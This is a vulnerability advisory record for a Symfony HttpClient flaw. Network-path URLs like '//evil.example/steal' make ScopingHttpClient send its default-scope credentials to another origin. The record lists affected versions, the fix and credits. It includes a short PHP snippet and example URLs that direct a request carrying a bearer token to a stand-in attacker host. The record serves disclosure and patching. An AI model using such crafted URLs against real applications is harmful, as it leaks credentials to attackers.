{"id":"CVE-2026-121971","aliases":["CVE-2026-121971","GHSA-gq53-v8w2-gjhj"],"related":[],"kind":"vulnerability","state":"published","title":"Symfony: ScopingHttpClient Sends the Credentials of Its Default Scope to Other Origins Through Network-Path References","summary":"The component ScopingHttpClient in Symfony HttpClient merges the options of its default scope (such as auth_bearer or auth_basic) into a request before resolving a relative URL against the base_uri, allowing a network-path reference such as \"//evil.example/steal\" to be sent to another origin together with the default scope’s credentials, and resulting in potential disclosure of those credentials to an attacker-controlled server. This affects Symfony in versions 5.x prior to 5.4.56, 6.x prior to 6.4.50, 7.x prior to 7.4.23, and 8.x prior to 8.1.11.\n\n\n\nThe resolved URL falls outside the origin of the base URI, yet it keeps the merged options, whereas the absolute spelling \"https://evil.example/steal\" receives none. The same happens with a different port or user-info part on the same host.\n\n\n\n\n\n\n\n\n\nThis is reachable whenever an attacker controls the beginning of a URL passed to a client built with a base_uri and credentials, including those created with HttpClient::createForBaseUri() or configured under framework.http_client.scoped_clients.\n\nTo solve the issue, after resolving a relative URL against the base URI of the default scope, ScopingHttpClient now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"The component ScopingHttpClient in Symfony HttpClient merges the options of its default scope (such as auth_bearer or auth_basic) into a request before resolving a relative URL against the base_uri, allowing a network-path reference such as \"//evil.example/steal\" to be sent to another origin together with the default scope’s credentials, and resulting in potential disclosure of those credentials to an attacker-controlled server. This affects Symfony in versions 5.x prior to 5.4.56, 6.x prior to 6.4.50, 7.x prior to 7.4.23, and 8.x prior to 8.1.11.\n\n\n\nThe resolved URL falls outside the origin of the base URI, yet it keeps the merged options, whereas the absolute spelling \"https://evil.example/steal\" receives none. The same happens with a different port or user-info part on the same host.\n\n\n\n\n\n\n\n\n\nThis is reachable whenever an attacker controls the beginning of a URL passed to a client built with a base_uri and credentials, including those created with HttpClient::createForBaseUri() or configured under framework.http_client.scoped_clients.\n\nTo solve the issue, after resolving a relative URL against the base URI of the default scope, ScopingHttpClient now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent.","source":"cvelist"},{"lang":"en","text":"### Description\n\n`ScopingHttpClient` applies the options of a scope, such as `auth_bearer`, `auth_basic`, `headers` or `local_cert`, to the URLs that match that scope only. A relative URL is resolved against the `base_uri` of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as `//evil.example/steal` carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute spelling of the same URL, `https://evil.example/steal`, gets none of them.\n\n```php\n$client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [\n    'auth_bearer' => 'secret',\n]);\n\n$client->request('GET', '//evil.example/steal'); // sent to evil.example with \"Authorization: Bearer secret\"\n```\n\nThis is how `HttpClient::createForBaseUri()` builds its client, and how the scoped clients configured with a `base_uri` under `framework.http_client.scoped_clients` are built. An application is exposed when an attacker controls the beginning of a URL passed to such a client, for example a path taken from user input or a URL taken from a remote API response. The same happened for another port or a user-info part on the same host, and when the resolved URL matched another scope, the credentials of the default scope were sent instead of that scope's own.\n\n### Resolution\n\nAfter resolving a relative URL against the base URI of the default scope, `ScopingHttpClient` now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent. When they differ, the options of the default scope are dropped and the URL is matched against the scopes as if it had been passed in its absolute form. Relative URLs that stay on the scheme and authority of the base URI keep the options, including those that resolve outside of its path.\n\nThe user-info part counts as part of the authority: `//user@api.example.com/` does not receive the options of the default scope anymore.\n\nThe patches for this issue are available [here](https://github.com/symfony/symfony/commit/64c34e85bd03b3f8a735d8e1af393659dda91d7c) for branch 5.4 (and forward-ported to 6.4, 7.4, 8.1 and 8.2).\n\n### Credits\n\nSymfony would like to thank [Thomas Chauchefoin](https://github.com/thomas-chauchefoin-tob) from Trail of Bits for reporting the issue and Nicolas Grekas for providing the fix.\n\nSymfony would also like to thank [Bruno Dias](https://github.com/cx-bruno-dias) and [Catarina Amorim](https://github.com/cx-catarina-amorim) from Checkmarx for their help getting a CVE assigned.","format":"markdown","source":"ghsa"}],"published":"2026-11-04T17:43:34.806Z","modified":"2026-12-01T21:45:12.649Z","severity":{"scorer":"Checkmarx","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"Checkmarx","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-200","CWE-522"],"affected":[{"ranges":[{"type":"git","introduced":"0","fixed":"5.4.56","status":"affected"},{"type":"git","introduced":"6.0.0","fixed":"6.4.50","status":"affected"},{"type":"git","introduced":"7.0.0","fixed":"7.4.23","status":"affected"},{"type":"git","introduced":"8.0.0","fixed":"8.1.11","status":"affected"}],"vendor":"sensiolabs","product":"symfony","package":"symfony/http-client","repo":"https://github.com/symfony/http-client","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"5.4.56"}],"ecosystem":"Packagist","package":"symfony/http-client","purl":"pkg:composer/symfony/http-client","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"6.0.0","status":"affected","fixed":"6.4.50"}],"ecosystem":"Packagist","package":"symfony/http-client","purl":"pkg:composer/symfony/http-client","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"7.0.0","status":"affected","fixed":"7.4.23"}],"ecosystem":"Packagist","package":"symfony/http-client","purl":"pkg:composer/symfony/http-client","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"8.0.0","status":"affected","fixed":"8.1.11"}],"ecosystem":"Packagist","package":"symfony/http-client","purl":"pkg:composer/symfony/http-client","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"5.4.56"}],"ecosystem":"Packagist","package":"symfony/symfony","purl":"pkg:composer/symfony/symfony","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"6.0.0","status":"affected","fixed":"6.4.50"}],"ecosystem":"Packagist","package":"symfony/symfony","purl":"pkg:composer/symfony/symfony","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"7.0.0","status":"affected","fixed":"7.4.23"}],"ecosystem":"Packagist","package":"symfony/symfony","purl":"pkg:composer/symfony/symfony","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"8.0.0","status":"affected","fixed":"8.1.11"}],"ecosystem":"Packagist","package":"symfony/symfony","purl":"pkg:composer/symfony/symfony","source":"ghsa"}],"references":[{"url":"https://github.com/symfony/symfony/security/advisories/GHSA-gq53-v8w2-gjhj","tags":["third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/symfony/symfony/commit/64c34e85bd03b3f8a735d8e1af393659dda91d7c","tags":["patch","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-121971","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/http-client/CVE-2026-121971.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-121971.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/symfony/symfony","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/symfony/symfony/releases/tag/v5.4.56","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/symfony/symfony/releases/tag/v6.4.50","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/symfony/symfony/releases/tag/v7.4.23","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/symfony/symfony/releases/tag/v8.1.11","tags":["web"],"sources":["ghsa"]}],"credits":["Nicolas Grekas","Thomas Chauchefoin from Trail of Bits"],"assigner":"Checkmarx","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-11-04T21:11:51.149Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-121971","url":"https://www.cve.org/CVERecord?id=CVE-2026-121971","licence":"CVE Terms of Use","modified":"2026-11-05T19:07:02.219Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gq53-v8w2-gjhj","url":"https://github.com/advisories/GHSA-gq53-v8w2-gjhj","licence":"CC-BY-4.0","modified":"2026-12-01T21:45:12.649Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-121971","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-121971","licence":"Public domain","modified":"2026-11-06T21:40:43.450Z"}],"updatedAt":"2026-12-01T21:57:11.441Z","epss":{"score":0.00312,"percentile":0.25994,"date":"2026-12-01T12:00:22.000Z"}}